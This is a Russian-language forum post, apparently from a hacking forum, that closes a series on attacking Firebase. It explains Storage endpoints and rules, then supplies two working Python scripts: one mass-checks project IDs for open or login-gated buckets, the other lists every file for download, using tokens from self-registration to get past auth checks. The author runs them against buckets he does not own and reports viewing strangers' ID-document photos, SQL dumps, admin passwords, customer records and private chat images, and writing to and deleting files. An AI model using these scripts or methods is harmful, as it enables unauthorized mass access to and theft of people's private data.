LIMB
Вход Регистрация

тема

Firebase пентест (Часть 3): Ломаем Firebase бакеты по всему миру и вытаскиваем с них файлы

YmbMember · · 0 ответов · 439 просмотров

Не удалось прогрузить медиа

Вступление
Всем привет! С вами YmbMember. В этой финальной части мы разберёмся, что такое Firebase Storage, как правильно тестировать его на наличие мисконфигураций и как массово ломать криво настроенные бакеты по всему миру с целью вытащить от туда чужие файлы. Давайте начнём

! Для понимания происходящего в этой части обязательно ознакомьтесь с двумя предыдущими.

Что это такое и с чем его едят
Не удалось прогрузить медиа

Firebase Storage — это сервис облачного хранилища файла от гугл.
“Если Firebase Storage это сервис от гугла, то какие отличия от Google cloud storage??” спросите меня вы
Можно сказать, что ФС это упрощенная версия Google Cloud, какая заточена специально под веб и мобильные приложения. Заодно ее можно интегрировать с другими ФБ сервисами. Поэтому, если проект частично построен на ФБ сервисах - просто удобнее вместо какого-то другого облачного хранилища взять Firebase’ное.

Создание бакета
Тут все так-же как и во всех сервисах – кнопка Build => Storage. Даем имя проекту, выбираем где будет размещен сервер с хранилищем и выбираем режим. Из коробки предлагают production и test
Не удалось прогрузить медиа

Тут все аналогично с прошлыми сервисами.

Production – ни у кого нету прав на запись и чтение
Test – у всех есть права на запись и чтение на протяжении 30-ти дней

Давайте выберем test mode, создадим наш первый бакет и зальём туда один какой-то файл

Управление через Rest api
Важно, что в отличии Realtim’a и Firestor’a Firebase Cloud может находится на двух доменах:

<projectId>.appspot.com
<projectId>.firebasestorage.app


До осени 2024 года все бакеты находились исключительно на appspot’e. Но по каким-то причинам команда гугл захотела создать для бакетов новый домен - firebasestorage.app. Поэтому все новые бакеты находятся на firebasestorage.app, а старые остались на appspot.com

Для доступа к бакету через rest api нам надо обратится к эндпоинту

https://firebasestorage.googleapis.com/v0/b/<projectId>. <appspot.com / firebasestorage.app>/o

Т.к наш бакет новый, он находится на firebasestorage.app . Он открыт полностью для всех. Каждый может что-то записать в него, что-то удалить и что-то посмотреть. Давайте посмотрим список файлов, доступных в нем

https://firebasestorage.googleapis.com/v0/b/<projectId>. firebasestorage.app/o
Не удалось прогрузить медиа

Я залил на него один файл и вот он отобразился в списке

Но иногда бывает настолько много файлов, что они попросту не умещаются в один ответ. Индикатор этому есть nextPageToken. Находится он в самом конце страницы
Не удалось прогрузить медиа

Это значит, что мы можем перейти на следующую страницу со списком файлов. Для этого в конце URL добавляем ?pageToken= и в значение параметра вставляем значение nextPageToken. Так можно листать страницы одну за другой, пока не дойдём до последней.

Важно: для каждой страницы генерируется свой уникальный pageToken, так что использовать один и тот же несколько раз не получится.

https://firebasestorage.googleapis.com/v0/b/<projectId>. firebasestorage.app/o?pageToken=<знач. nextPageToken >

Согласитесь, смотреть список файлов в бакете таким образом не очень удобно. На помощь нам приходит параметр prefix. Он поможет нам отфильтровать объекты по папкам
Не удалось прогрузить медиа

Для того чтобы посмотреть метаданные файла – достаточно просто добавить в конец путь к файлу

https://firebasestorage.googleapis.com/v0/b/<projectId>. firebasestorage.app/o/путь%2Fк%2Fфайлу%2Fфайл

Обратите внимание. Если файл, с которым вы хотите работать находится в какой-то папке, то слеш / в пути нужно заменить на %2F
Не удалось прогрузить медиа

Для того чтобы посмотреть содержимое файла достаточно добавить ?alt=media в конце URL
Не удалось прогрузить медиа

В закрытых бакетах для просмотра файла кроме параметра alt нужно еще добавлять и параметр token
Не удалось прогрузить медиа

При помощи token мы можем прочитать опрёделенный файл в ПОЛНОСТЬЮ закрытом бакете (чтение и запись запрещены). То-есть, token - это как пропуск для того чтобы прочитать содержимое

Но если у нас нету токена – это вовсе не значит, что мы не можем подтвердить наличие файла в бакете. Токен это просто ключ к просмотру содержимого файла. Метаданные файла можно спокойно получить и без токена

Просто так токен не сбрутить. Но немного позже мы поговорим о том, как можно получить список файлов в бакете с токенами

С просмотром разобрались. Теперь давайте я вам покажу, как записывать что-то свое в бакет. Для этого используется POST запрос с аргументами uploadType и name. В name указан путь к файлу + название
Не удалось прогрузить медиа

Для того чтобы изменить содержимое файла отправляем такой же запрос но с другим телом

Для удаления какого-то файла нужно просто отправить запрос с методом DELETE. Если в ответе код 204 – файл удалён успешно
Не удалось прогрузить медиа

Вот и все что вам надо знать в рамках этого топика об управлении бакетами через rest api

Rules
Аналогично Realtime и Firestore, storage также имеет свои security rules. Вот небольшая документация, для полного понимания происходящего советую ознакомиться: https://firebase.google.com/docs/storage/security/rules-conditions

Из важного:
Во-первых,
 можно ставить ограничения на загрузку файлов. Точнее content-type и size. Поэтому, советую загружать какие-то небольшие картинки. В бакетах запрет на загрузку фото никто не будет ставить точно

Во-вторых, есть много правил для отфильтровки нежелательных пользователей. Например, можно поставить правило, какое ограничит доступ на чтение файлов для тех пользователей, которые являются членами определенных клубов. И это лишь один из примеров

В фс правил направленных на конкретных пользователей было тоже немало, но в клауде их больше. (Они есть в документации выше)

Но на радость нам, разработчики не всегда с ними возятся и часто ставят любимое правило
if request.auth != null;
В-третьих, в отличии от РТ и ФС тут есть операция list. Она отвечает за список файлов
Не удалось прогрузить медиа

Зачем это вообще нужно? Например, если не хочется жестко закрывать бакет правилами, но при этом светить список всех файлов тоже не хочется
Не удалось прогрузить медиа

В этом коде мы не можем получать список всех файлов за один запрос, т.к метод list в запрете. Но такая конфигурация тоже не является безопасной, так как атакующий может начать брутить файлы на бакете (об этом мы поговорим позже). Но она значительно понижает утечку важных данных

Такой широкий список операций добавился в мае 2019 года. Например, в старых бакетах даже нельзя посмотреть список доступных файлов. Их надо брутить
Не удалось прогрузить медиа


Пентест
Перед тем как начинать искать дырки в правилах, нужно понять, живой ли бакет. Это можно сделать, взглянув на статус код

200 Бакет открыт как минимум для чтения
403 Доступен только владельцу/НЕ ВСЕМ авторизованным пользователям/всем авторизованным пользователям
400 Старый бакет, используются firebase rules v1

404 Такого бакета не существует
412 На платежной карте нету баланса (забыл сказать, что storage вещь не бесплатная)

Полная методология тестирования выглядит вот так:
Не удалось прогрузить медиа


При этом важно понимать:
Не все файлы в бакете доступны для чтения. В некоторых папках может быть запрет, поэтому если вы не смогли посмотреть содержимое загруженного файла – это может быть исключение.

Не все файлы можно записывать — тоже есть ограничения. В некоторые папки нельзя ничего записывать, удалять или менять

Пентест single таргета
Теперь давайте посмотрим, как происходит тестирование бакетов вручную

Кейс 1: Открытый бакет
Ну тут все просто. Если статус код в ответе 200 и есть список доступных файлов – бакет открыт
Не удалось прогрузить медиа

Нам нужно выкачать с него все файлы. Вручную это делать ну уж очень долго. Для этого я сделал вот такой скрипт
Code:
from __future__ import annotations
import argparse
import os
import sys
import time
import re
from urllib.parse import quote
from typing import Optional, Dict, Set, List, Tuple

import requests
from requests import Session
from requests.exceptions import SSLError, RequestException
from colorama import init as colorama_init, Fore, Style
from urllib3.exceptions import InsecureRequestWarning

colorama_init(autoreset=True)

# конфиги
TIMEOUT_SEC = 20
SSL_VERIFY = False
PAGE_SLEEP = 0.15
MAX_PAGES = 10000
MAX_FILENAME_LEN = 200


def err(msg: str, color=Fore.RED) -> None:
    # вывод ошибки в stderr
    print(f"{color}{msg}{Style.RESET_ALL}", file=sys.stderr)


def info(msg: str) -> None:
    # нейтральный лог
    print(f"{Fore.CYAN}[+]{Style.RESET_ALL} {msg}")


def ok(msg: str) -> None:
    # успех
    print(f"{Fore.GREEN}[OK]{Style.RESET_ALL} {msg}")


def warn(msg: str) -> None:
    # предупреждение
    print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} {msg}")


def looks_like_token_file(path: str) -> bool:
    # быстрый чек: есть ли в файле строки с ':'
    try:
        with open(path, 'r', encoding='utf-8') as f:
            for line in f:
                s = line.strip()
                if not s:
                    continue
                if ':' in s:
                    return True
        return False
    except Exception:
        return False


def read_lines(path: str) -> List[str]:
    # читаем ненулевые строки, пропускаем комменты
    with open(path, 'r', encoding='utf-8') as f:
        return [line.strip() for line in f if line.strip() and not line.strip().startswith('#')]


def load_tokens_from_file(path: Optional[str]) -> Dict[str, str]:
    # парсим файл вида projectId:apiKey:idToken -> сохраняем projectId:idToken
    tokens: Dict[str, str] = {}
    if not path:
        return tokens
    for line in read_lines(path):
        parts = line.split(':')
        if len(parts) < 3:
            continue
        proj = parts[0]
        token = ':'.join(parts[2:])
        tokens[proj] = token
    return tokens


def ensure_dir(path: str) -> None:
    os.makedirs(path, exist_ok=True)


def sanitize_name(name: str) -> str:
    # заменяем плохие символы на '_' и подрезаем
    safe = re.sub(r'[^A-Za-z0-9._-]', '_', name)
    if len(safe) > MAX_FILENAME_LEN:
        safe = safe[:MAX_FILENAME_LEN]
    return safe


def build_download_url(bucket: str, name: str) -> str:
    enc = quote(name, safe='')
    return f"https://firebasestorage.googleapis.com/v0/b/{bucket}/o/{enc}?alt=media"


def get_with_ssl_fallback(sess: Session, url: str, hdrs: dict, params: Optional[dict]) -> Optional[requests.Response]:
    # запрос сразу без проверки SSL
    try:
        requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
        return sess.get(url, headers=hdrs, params=params, timeout=TIMEOUT_SEC, verify=SSL_VERIFY)
    except RequestException as e:
        err(f"Request error for {url}: {e}")
        return None
        warn("Retrying with verify=False (unsafe).")
        requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
        try:
            return sess.get(url, headers=hdrs, params=params, timeout=TIMEOUT_SEC, verify=False)
        except RequestException as e2:
            err(f"Retry with verify=False failed: {e2}")
            return None
    except RequestException as e:
        err(f"Request error for {url}: {e}")
        return None


def split_project_line(line: str) -> Tuple[str, Optional[str]]:
    # "project:apiKey:idToken" -> (project, idToken)
    parts = line.split(':')
    if len(parts) >= 3:
        proj = parts[0]
        id_token = ':'.join(parts[2:])
        return proj, id_token
    else:
        return parts[0], None


def dump_listing(base_url: str, hdrs: dict, out_file: str, proj: str) -> int:
    # листаем страницу за страницей, пишем ссылки в файл
    sess = requests.Session()
    total = 0

    base = base_url.rstrip('/')
    if not base.endswith('/o'):
        base = base + '/o'

    page_token: Optional[str] = None
    seen_tokens: Set[str] = set()
    page_num = 0

    while True:
        page_num += 1
        if page_num > MAX_PAGES:
            warn(f"[{proj}] reached max pages ({MAX_PAGES}). Breaking.")
            break

        params = {'pageToken': page_token} if page_token else None
        req_descr = f"{base}?pageToken={page_token}" if page_token else base
        info(f"[{proj}] requesting page #{page_num}: {req_descr}")

        resp = get_with_ssl_fallback(sess, base, hdrs, params)
        if resp is None:
            err(f"[{proj}] page #{page_num} request failed. Skipping this base URL.")
            return total

        if resp.status_code != 200:
            err(f"[{proj}] HTTP {resp.status_code} for {resp.url}")
            snippet = (resp.text[:400] + '...') if len(resp.text) > 400 else resp.text
            err(snippet, color=Fore.YELLOW)
            return total

        try:
            data = resp.json()
        except ValueError:
            err(f"[{proj}] failed to parse JSON from {resp.url}")
            return total

        items = data.get('items') or data.get('files') or []
        wrote = 0
        if items:
            with open(out_file, 'a', encoding='utf-8') as outf:
                for it in items:
                    name = it.get('name')
                    bucket = it.get('bucket') or it.get('bucketId') or ''
                    if not name or not bucket:
                        continue
                    link = build_download_url(bucket, name)
                    outf.write(link + "\n")
                    wrote += 1
                    total += 1

        info(f"[{proj}] page #{page_num}: wrote {wrote} links")

        next_tok = data.get('nextPageToken')
        if next_tok:
            info(f"[{proj}] [TOKEN] {next_tok}")
            if next_tok in seen_tokens:
                warn(f"[{proj}] token {next_tok} was already seen -> possible loop, stopping pagination.")
                break
            seen_tokens.add(next_tok)
            page_token = next_tok
            time.sleep(PAGE_SLEEP)
            continue
        else:
            info(f"[{proj}] no nextPageToken -> pagination finished.")
            break

    return total


def run_scan(projects_file: Optional[str], tokens_file: Optional[str], output_dir: str) -> None:
    # собираем токены
    tokens_by_project = load_tokens_from_file(tokens_file) if tokens_file else {}

    # если файл проектов не задан, но указан tokens_file — проверяем
    if not projects_file and tokens_file and os.path.isfile(tokens_file):
        if looks_like_token_file(tokens_file):
            err("Provided -lpt looks like a token file and no -lpid given. Provide -lpid separately (or pass a projectId list).")
            sys.exit(1)
        else:
            info(f"Detected {tokens_file} as projectId list -> using it as -lpid.")
            projects_file = tokens_file
            tokens_file = None

    if not projects_file:
        err("No projectId file specified. Use -lpid <file_with_projectIds>.")
        sys.exit(1)

    raw_lines = read_lines(projects_file)

    projects: List[str] = []
    for ln in raw_lines:
        if ':' in ln:
            proj, maybe_token = split_project_line(ln)
            projects.append(proj)
            if maybe_token and proj not in tokens_by_project:
                tokens_by_project[proj] = maybe_token
                info(f"Auto-registered token for project {proj} from {projects_file}")
        else:
            projects.append(ln)

    ensure_dir(output_dir)

    info(f"Loaded {len(projects)} projectId from {projects_file}.")
    info(f"Loaded {len(tokens_by_project)} tokens (including auto-registered).")

    for proj in projects:
        info(f"--- Processing projectId: {proj} ---")
        safe_name = sanitize_name(proj)
        out_file = os.path.join(output_dir, f"{safe_name}.txt")
        # чистим старый файл
        open(out_file, 'w', encoding='utf-8').close()

        id_token = tokens_by_project.get(proj)
        headers = {}
        if id_token:
            headers['Authorization'] = f"Bearer {id_token}"
            info(f"Using Authorization header for {proj}.")

        bases = [
            f"https://firebasestorage.googleapis.com/v0/b/{proj}.firebasestorage.app/o",
            f"https://firebasestorage.googleapis.com/v0/b/{proj}.appspot.com/o",
        ]

        total_links = 0
        for base in bases:
            info(f"Base request: {base}")
            got = dump_listing(base, headers, out_file, proj)
            total_links += got
            if got > 0:
                ok(f"[{proj}] found and wrote {got} links from {base}.")
            else:
                info(f"[{proj}] nothing found at {base} or error occurred.")

        ok(f"[{proj}] total links: {total_links}. File: {out_file}")


def parse_args():
    p = argparse.ArgumentParser(description='LIMB.cc')
    p.add_argument('-lpid', required=False, help='file with lines projectId:apiKey:idToken')
    p.add_argument('-lpt', required=False, help='file with projectIds (one per line)')
    p.add_argument('-od', required=True, help='output directory for results')
    return p.parse_args()


def main():
    args = parse_args()

    if not args.lpid and not args.lpt:
        err("Neither -lpid nor -lpt provided. Provide -lpid <projects.txt> at minimum.")
        sys.exit(1)

    try:
        run_scan(args.lpid, args.lpt, args.od)
    except KeyboardInterrupt:
        err("\nInterrupted by user")
        sys.exit(1)


if __name__ == '__main__':
    main()

Он создан для массового парсинга файлов внутри бакетов и умеет работать с двумя видами входных данных:

Список формата projectId:apiKey:idToken через -lpid
Список projectId через -lpt


В файл pids.txt положу просто projectId открытого бакета и запущу парсинг

python parser.py -lpt pids.txt -od test
Не удалось прогрузить медиа

В директории test появился список всех файлов в бакете.
Не удалось прогрузить медиа

Для того чтобы их скачать можете воспользоваться стандартным wget

Из доступных прав на запись есть только создание файлов и изменение содержимого уже существующих файлов
Не удалось прогрузить медиа

Прав на удаление, увы, нету ☹
Не удалось прогрузить медиа


Кейс 2: Бакет, требующий аутенификации
Если получаем ответ 403 – это не значит, что двери закрыты. У нас есть шанс получить доступ к базе. Варианты два: либо через аутентификацию и либо через брутфорс,

Если в проекте включена Firebase Authentication и доступна регистрация, это поможет обойти проверку if request.auth != null; . Такая же история с нашим подопытным
Не удалось прогрузить медиа

Сперва давайте узнаем, какие методы регистрации доступны в рамках тестируемого проекта. Для этого воспользуемся скриптом, какой я презентовал в прошлой статье. Скормим скрипту файл с projectId:apiKey
Не удалось прогрузить медиа

В файле вывода теперь лежит строка в формате projectId:apiKey:idToken . Возьмём idToken и попробуем получить список файлов в бакете
Не удалось прогрузить медиа

Сработало. Ограничение обошли. Теперь скормим projectId:apiKey:idToken с прошлого скрипта парсеру

python parser.py -lpid data.txt -od test2
Не удалось прогрузить медиа

Так же решил посмотреть какие у мня есть права в рамках записи. Единственное что я смог – это удалять уже существующие файлы
Не удалось прогрузить медиа

Прав на создание/изменение содержимого, увы, нету. Полная противоположность прошлому таргету. Довольно комично

Ломаем Storage через Realtime/Firestore
Звучит немного дико, не так-ли? Давайте поясню. Если приложение активно использует firebase сервисы и какой-то из них в плане безопасности настроен неправильно – это может стать проблемой и для других.

Например, я заметил, что часто в realtime/firestore базах есть ссылки на файлы с бакетов. Эти ссылки всегда включают в себя токены
Не удалось прогрузить медиа

Иногда бывает так, что одно приложение использует сразу несколько ФБ проектов. Например, в проекте A могут быть ссылки на бакет из проекта B. Для хацкера это расширяет область тестирования: он сразу получает projectId проекта B и может продолжить атаку, но на новый проект

Брутфорс
Этот метод уже был мною упомянут немного ранее. Еще один из методов найти дырку в security rules – пробрутить доступные файлы. Если, например, операция list запрещена, а get — нет, то при наличии полного пути к файлу его всё равно можно посмотреть без токена.

Например, путем брута мною был найден файл .DS_Store
Не удалось прогрузить медиа

Брутфорс – малоэффективный метод, но рабочий. При массовой охоте смысла его использовать нету. Но если вы сконцентрированы на одном таргете – можете попробовать. Советую делать это через Burp Intruder, так как он умеет URL энкодить слеши и не надо себе морочить голову

Я брал словарь от сюда - https://github.com/gmelodie/awesome-wordlists

Массовая охота
Теперь пришло время выйти на массовую охоту за мисконфигнутыми бакетами! Тактика проста:

Если статус код 403 — пробуем аутентифицироваться и спарсить список файлов.
Если статус код 200 — спокойно выкачиваем всё, как ни в чём не бывало.

В бруте файлов не вижу смысла – дохлый номер. Времени занимает очень много, результатов почти нету.

Сперва давайте откинем мусор. Обратите внимание, что бакеты с кодом 400 мы тоже выкидываем на помойку. Операцию list они НЕ поддерживают, поэтому единственное что можно с ними сделать – брутить. Короче для массовой охоты не катит

Запустим скрипт, какой отчекает бакеты

Code:
import argparse
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
import requests
from colorama import init as colorama_init, Fore, Style

colorama_init(autoreset=True)

OPEN_FILE = "open.txt"
AUTH_FILE = "auth.txt"

# локи, чтобы потоки не писали в файлы одновременно
lock_open = threading.Lock()
lock_auth = threading.Lock()

# одна сессия на все запросы, так быстрее
http = requests.Session()
http.headers.update({"User-Agent": "FirebaseChecker"})

def read_list(path):
    # читаем файл, выкидываем мусор и комменты
    result = []
    with open(path, "r", encoding="utf-8", errors="ignore") as f:
        for line in f:
            line = line.strip()
            if not line or line.startswith("#"):
                continue
            result.append(line)
    return result

def save_line(filename, text, lock):
    # обычный append, но безопасно для потоков
    with lock:
        with open(filename, "a", encoding="utf-8") as f:
            f.write(text + "\n")

def check_project(project_id, original_line):
    # два стандартных storage endpoint'а firebase
    urls = (
        f"https://firebasestorage.googleapis.com/v0/b/{project_id}.firebasestorage.app/o",
        f"https://firebasestorage.googleapis.com/v0/b/{project_id}.appspot.com/o",
    )

    has_200 = False
    has_403 = False
    last_status = None

    for url in urls:
        try:
            r = http.get(url, timeout=10)
            last_status = r.status_code

            if r.status_code == 200:
                has_200 = True
                break  # 200 нашли — дальше смысла нет
            if r.status_code == 403:
                has_403 = True

        except requests.RequestException as e:
            return "error", f"{project_id} ошибка запроса: {e}"

    if has_200:
        save_line(OPEN_FILE, original_line, lock_open)
        return "open", f"{project_id} -> 200"

    if has_403:
        save_line(AUTH_FILE, original_line, lock_auth)
        return "auth", f"{project_id} -> 403"

    return "other", f"{project_id} -> {last_status}"

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("-fpid", help="файл с projectId (1 строка = 1 id)")
    parser.add_argument("-fpa", help="файл projectId:apiKey:idToken")
    parser.add_argument("-t", type=int, default=10, help="кол-во потоков")
    args = parser.parse_args()

    if not args.fpid and not args.fpa:
        print(f"{Fore.RED}Нужен -fpid или -fpa{Style.RESET_ALL}")
        return

    tasks = []  # (project_id, строка для сохранения)

    if args.fpid:
        for pid in read_list(args.fpid):
            tasks.append((pid, pid))

    if args.fpa:
        for line in read_list(args.fpa):
            # берем только projectId, остальное не трогаем
            project_id = line.split(":", 1)[0]
            if project_id:
                tasks.append((project_id, line))

    print(f"{Fore.CYAN}[*] Всего проектов: {len(tasks)} | Потоков: {args.t}{Style.RESET_ALL}")

    done = 0
    with ThreadPoolExecutor(max_workers=args.t) as pool:
        futures = {pool.submit(check_project, pid, line): pid for pid, line in tasks}

        for future in as_completed(futures):
            done += 1
            try:
                status, msg = future.result()

                if status == "open":
                    print(f"{Fore.GREEN}[OPEN] {msg}{Style.RESET_ALL}")
                elif status == "auth":
                    print(f"{Fore.YELLOW}[AUTH] {msg}{Style.RESET_ALL}")
                elif status == "other":
                    print(f"{Fore.MAGENTA}[SKIP] {msg}{Style.RESET_ALL}")
                else:
                    print(f"{Fore.RED}[ERR] {msg}{Style.RESET_ALL}")

            except Exception as e:
                print(f"{Fore.RED}[EXC] {e}{Style.RESET_ALL}")

    print(
        f"{Fore.CYAN}[*] Готово: {done}/{len(tasks)} | "
        f"open.txt = 200 | auth.txt = 403{Style.RESET_ALL}"
    )

if __name__ == "__main__":
    main()

python checker.py -fpa list
Не удалось прогрузить медиа

Ему можно дать входные данные через аргументы -fpid и -fpa

-fpid – просто список projectId
-fpa – список формата projectId:apiKey:idToken


Все, что находится в open.txt – открытые бакеты. Их мы можем сходу скормить парсеру

Бакеты, которые требуют аутентификации лежат в auth.txt. Их мы скормим скрипту, какой я презентовал в прошлой статье

Если вы скормили чекеру ТОЛЬКО список projectId, то бакеты требующее авторизации вы не потестируете, т.к у вас нету apiKey
Не удалось прогрузить медиа

По завершению работы скрипта, объединяем эти 2 файла в 1
Не удалось прогрузить медиа

И отдаем парсеру
Не удалось прогрузить медиа

На выходе мною было получено ссылок на 700мб. Я захотел краешком глаза посмотреть что же там есть интересного и хочу с вами поделиться

Находки
В одном бакете было много изображений. Но я заметил вот что: в названии некоторых есть _front и _back.
Не удалось прогрузить медиа

Мне стало интересно что там такое и я решил посмотреть. Как оказалось – ничего там критичного не было. Просто какие-то kyc пользователей. Подумаешь, что в этом такого
Не удалось прогрузить медиа

Не удалось прогрузить медиа

В бакетах иногда встречаются .sql файлы. А все мы и так знаем, что в .sql файлах редко лежит что-то скучное)
Не удалось прогрузить медиа

Не удалось прогрузить медиа

Вот оставили логины и пароли от админки сайта в открытом виде. Ну а что их прятать от кого-то?))
Не удалось прогрузить медиа

Не удалось прогрузить медиа

Данные покупателей. Ну всяких .json файлов с ценными данными в бакетах в целом довольно много, поэтому на этом останавливаться не будем
Не удалось прогрузить медиа

Не удалось прогрузить медиа

А вот вам приложение, какое называется “анонимный чат”. Чат настолько анонимный, что все фотографии какими обменивались между собой пользователи доступны любому
Не удалось прогрузить медиа

Не удалось прогрузить медиа

Так же стоит смотреть файлы с расширением .log. Иногда в логах может быть не только служебная инфа. Там може быть что-то поинтереснее. Например, информация о заказах
Не удалось прогрузить медиа

Честно – дальше было ковырять бакеты не интересно, так как мне не очень приносит удовольствие копаться в чужих файлах. Все-таки, надо соблюдать хоть какую-то этику. Но найти в них можно вообще что угодно

Заключение
Это была финальная статья из серии про пентест Firebase сервисов. В этой части мы разобрались, что такое Firebase Cloud и как его тестить. Даже те, кто раньше не сталкивался с cloud security, теперь примерно понимают, как выглядит процесс тестирования на практике.

Если подытожить, за эти три части получилось довольно много полезной информации. Такого кол-ва информации по этому топику я нигде в интернете не видел, хотя гуглил много. Я постарался раскрыть тему максимально подробно и с практической стороны. Мы разобрали, что такое Realtime Database, Firestore и Cloud, как настраиваются правила безопасности в этих сервисах, как искать баги и как массово находить уязвимые таргеты по всему миру. С вами был YmbMember, до новых встреч
👍34 😮4 🤔6 😢9

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.